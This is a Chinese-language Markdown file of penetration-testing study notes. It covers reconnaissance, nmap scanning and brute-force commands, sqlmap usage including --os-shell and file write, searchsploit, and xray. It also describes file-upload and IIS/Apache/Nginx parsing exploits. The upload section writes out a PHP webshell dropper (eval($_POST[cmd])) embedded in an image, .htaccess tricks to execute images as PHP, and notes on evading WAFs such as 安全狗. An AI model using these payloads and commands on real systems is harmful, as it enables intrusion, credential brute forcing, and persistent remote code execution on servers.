Skip to content

Latest commit

 

History

History
412 lines (330 loc) · 12.9 KB

学习笔记.md

File metadata and controls

412 lines (330 loc) · 12.9 KB

doss攻击 使用防火墙,处理非正常三次握手

cc攻击 代理 用来消耗服务器资源的

C:\Users\86157>tasklist|findstr "18424"
java.exe                     18424 Console                    2  1,851,656 K

C:\Users\86157>taskkill /f /t /im java.exe
成功: 已终止 PID 5284 (属于 PID 18424 子进程)的进程。
成功: 已终止 PID 2320 (属于 PID 14516 子进程)的进程。
成功: 已终止 PID 18424 (属于 PID 14520 子进程)的进程。
成功: 已终止 PID 14516 (属于 PID 6776 子进程)的进程。

nikto -h web应用漏洞扫描器

子域名收集

工具:
	SubDomainBrute
	OneForAll
	ct-exposer
	Layer子域名爆破机
goodle hacking
	intitle:xx

域名转IP判断CDN

在线cdn检测
	对于存在cdn的,需要绕过cdn查找真实的ip
		1.测试真实ip的是否开放了高危端口
		2.通过c段进行扫描发现其他资产

通过ip查找网段

云溪cms识别

https://www.yunsee.cn/

nmap使用

TCP: -sT
SYN: -sS
ACK: -sA
UDP: -sU
RPC: -sR
ICMP: -sP
disable port scan: -sn
nmap -sn -PR 192.168.0.0/24   arp扫描

1.扫描包含主机列表的文件中的所有地址
nmap -iL 
2.扫描除了一个目标地址之外的所有地址
nmap ip -exclude ip
3.指定端口
nmap ip -p xx
4.对目标地址进行路由跟踪
nmap --traceroute ip
5.IIS 短文件泄露
nmap -p 8080 --script http-iis-short-name-brute 192.168.1.1
6.拒绝服务
nmap --max-parallelism 800--script http-slowloris www.cracer.com
7.验证http 中开启了put 方法
nmap --script http-put --script-args http-put.url=/uploads/testput.txt,http-put.file=/root/put.txt 218.19.141.16
8.验证MySQL 匿名访问
nmap --script mysql-empty-password 203.195.139.153
9.防火墙躲避
-f 分片绕过
-D使用诱饵隐蔽扫描
NMAP -D 1.1.1.1,222.222.222.222 www.cracer.com
--source-port  源端口欺骗
10.对目标进行IP反查
nmap -sn --script hostmap-ip2hosts www.hao123.com
11.对目标DNS信息的收集
nmap --script dns-brute www.test.com
nmap --script dns-brute dns-brute.threads=10 www.test.com
12.了解目标系统的详细信息
nmap -p 445 192.168.23.1 --script membase-http-info
13.检查打印服务漏洞
nmap --script smb-security-mode.nse -p 445 192.168.21.3
14.扫描目标的xss漏洞
nmap -p80 --script http-stored-xss.nse www.test.com
15.扫描目标的SQL注入漏洞
nmap -p8001 --script http-sql-injection.nse 192.168.0.200
16.识别服务
namp -sV --script unusual-port ip 
17.注入脚本
nmap -p8001 --script http-sql-injection.nse ip
18.扫描系统漏洞
nmap --script vuln 192.168.1.1
19.对目标地址进行HTTP头信息探测
nmap -p 80 --script=http-headers test.com
20.爬行web目录结构
nmap -p 80 --script=http-sitemap-generator www.test.com
21.Snmp服务获取目标正在运行着的服务,通过Snmp服务对目标系统的服务或账户进行列举
nmap -sU -p 161 --script=snmp-win32-services 192.168.87.129
22.暴力破解VNC
nmap --script vnc-brute --script-args brute.guesses=6,brute.emptypass=true,userdb=/root/dictionary/user.txt,brute.useraspass=true,passdb=/root/dictionary/pass.txt,brute.retries=3,brute.threads=2,brute.delay=3 42.96.170.128
23.破解telnet
nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst --script-args telnet-brute.timeout=8s 192.168.1.1
24.ftp弱口令暴力破解
nmap --script ftp-brute --script-args brute.emptypass=true,ftp-brute.timeout=30,userdb=/root/dirtionary/usernames.txt,brute.useraspass=true,passdb=/root/dirtionary/passwords.txt,brute.threads=3,brute.delay=6 192.168.1.1

端口扫描

routescan、御剑高速TCP全端口
nmap ,慢

sqlmap

is-dba			当前用户权限
dbs				所有数据库
current-db			网站当前数据库
users			所有数据库用户
current-user		当前数据库用户
tables			参数:列表名
columns			参数:列字段
dump			参数:下载数据

--dump 			获取表中的数据,包含列 
--dump-all			转存DBMS数据库所有表项目
--level			测试等级(1-5),默认为1
读取数据库--->读取表---->读取表的列---->获取内容

-D  		指定数据库
-T			指定表
-C			指定列
--dbms=mysql  oracle mssql     	指定数据库

--users	枚举所有用户
--passwords	枚举所有用户密码
--roles	列出数据库管理员角色
--privileges 	列出数据库管理员权限

列举数据库系统的架构
sqlmap.py -u "http://xx.com/int.php?id=1" --schema --batch --exclude-sysdbs

--level
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。
-v  显示调试信息 有7个级别
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。

--risk
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

从文本中获取多个目标扫描
参数:-m

-g测试注入Google的搜索结果中的GET参数(只获取前100个结果)。
python sqlmap.py -g "inurl:php?id="

把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。
python sqlmap.py -u “http://www.cracer.com/cracer.php” --data=“id=1”
加入cookie注入测试
sqlmap -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2

--referer
sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入。

--headers
可以通过--headers参数来增加额外的http头
--hearders “client-ip: 1.1.1.1'”

--proxy
使用--proxy代理是格式为:http://url:port。
--proxy=http://127.0.0.1:1080
--proxy-file c:/1.txt

--delay
可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

--timeout
可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。
设定重试超时
--retries

当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。
设定随机改变的参数值

--batch
用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

--identify-waf
sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。

--check-waf
WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试

--common-tables
当使用--tables无法获取到数据库的表时,可以使用此参数。
通常是如下情况:
1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。

--time-sec
当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒
--sql-query="select @@version"
--sql-shell
sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。

从数据库服务器中读取文件
参数:--file-read
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。

参数:--file-write,--file-dest
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

--os-cmd,--os-shell
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。
cmd			执行cmd命令(win)
shell			执行当前用户命令 
--os-shell
自动上传 脚本文件
返回shell

searchsploit 漏洞缓存库

它将搜索所有的漏洞和shellcode。

apt-get install searchsploit

1.查找windows本地提权漏洞
searchsploit -t windows local
-m可以将脚本复制到当前路径

基本搜索会同时匹配标题和路径中的内容
如:searchsploit smb windows remote
标题搜索
标题搜索只匹配标题,不会对路径中的关键词进行匹配
如:searchsploit -t smb windows remote
删除不想要的结果
使用--exclude=选项删除不想要的结果
如:searchsploit smb windows remote --exclude="(POC)|txt"
利用管道输出(删除不想要的结果的另一种方法)
如:searchsploit smb windows remote | grep rb 只显示rb文件
复制到剪贴板
-p参数可以获取更多关于该漏洞的信息,以及将完整的路径复制到剪贴板上(如果可能的话)
如:searchsploit -p 42315.py
复制到文件夹
不建议在本地的漏洞数据库中修改exp,建议使用-m参数复制那些有用的到当前的工作目录
如:searchsploit -m 42315.py
联网搜索
一些开发的元数据没有保存在本地,如果要访问他们,需要联网搜索
如:searchsploit eternalblue -w

XRAY

使用其他工具爬取,xray爬取速度慢

cmd 命令被动扫描

	1.使用基础爬虫爬取爬虫爬取的链接进行漏洞扫描
xray webscan --basic-crawler http://example.com --html-output vuln.html
	2.使用HTTP代理进行被动扫描
xray webscan --listen 127.0.0.1:7777 --html-output proxy.html

设置浏览器http代理为http://127.0.0.1:7777,就可以自动分析代理流量并扫描。
浏览下载https流量,请阅读世界文档抓取 https 流量部分
	3.只扫描一个网址,不使用爬虫
xray 网络扫描 --url http://example.com/ ? a=b --html-output single-url.html
	4.手动指定本次运行的插件
默认情况下,将会启用所有内置插件,可以使用以下命令指定本次扫描的插件。
xray webscan --plugins cmd-injection,sqldet --url http://example.com
xray webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777
	5.指定插件输出
可以指定将本次扫描的漏洞信息输出到某个文件中:
xray 网络扫描 --url http://example.com/ ? a=b \
--text-output result.txt --json-output result.json --html-output report.html

配合burp

1.使用HTTP代理进行被动扫描
xray webscan --listen 127.0.0.1:7777 --html-output proxy.html
2.exp.py
3.burn监听7777

GOBY

配合xray,msf使用 设置代理 扫内网的漏洞

BURP

上传,解析漏洞

IIS 5.x/6.0解析漏洞
IIS 6.0解析利用方法有两种
1.目录解析
/xx.asp/xx.jpg
2.文件解析
cracer.asp;.jpg 

###iis 7.0以上#####
/.php

apache解析漏洞
x.php.xxxx
Phtml
Php3
Php4 
php5
X.phtml
Php空格
Php_
PHP

在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入: 
<FilesMatch “*.jpg "> SetHandler application/x-httpd-php </FilesMatch>
然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件

Nginx 空字节代码执行漏洞
影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码然后通过访问
xxx.php%00.jpg
来执行其中的代码

Nginx文件名逻辑漏洞(CVE-2013-4547)
受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x
正常上传一个附加代码的图片"test.jpg",访问时后面+"空格"+"\0"+".php",即让图片作为php文件解析
"/test.jpg \0.php“
Test.jpg/.php

nginx畸形解析漏洞
默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件
将shell语句,如
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后
copy xx.jpg/b + xx.txt/a test.jpg
上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php


######上传页面查找#######
1.扫目录
2.爬行目录 爬行菜刀
upload/
upload.asp   upload.asp
inc/
include/
admin/
editor/
ckfinder
fackediter

一定扫二级目录 ,三级目录   字典  上传页面字典
inc/
include/
admin/

上传接口
本地写上传页面提交给上传的接口
前台上传

上传突破
通过上传接口上传图片,上传突破
burp改图片后缀,进行截断名称,双写,图片的源码末尾修改茶马
找图片的绝对路径(前端等)
过d盾,burp修改头部,
过安全狗,长度溢出

常见的上传检测方式

1.客户端 javascript 检测 (通常为检测文件扩展名)
2.服务端 MIME 类型检测 (检测 Content-Type 内容)
3.服务端目录路径检测 (检测跟 path 参数相关的内容)
4.服务端文件扩展名检测 (检测跟文件 extension 相关的内容)
5.服务端文件内容检测 (检测内容是否合法或含有恶意代码)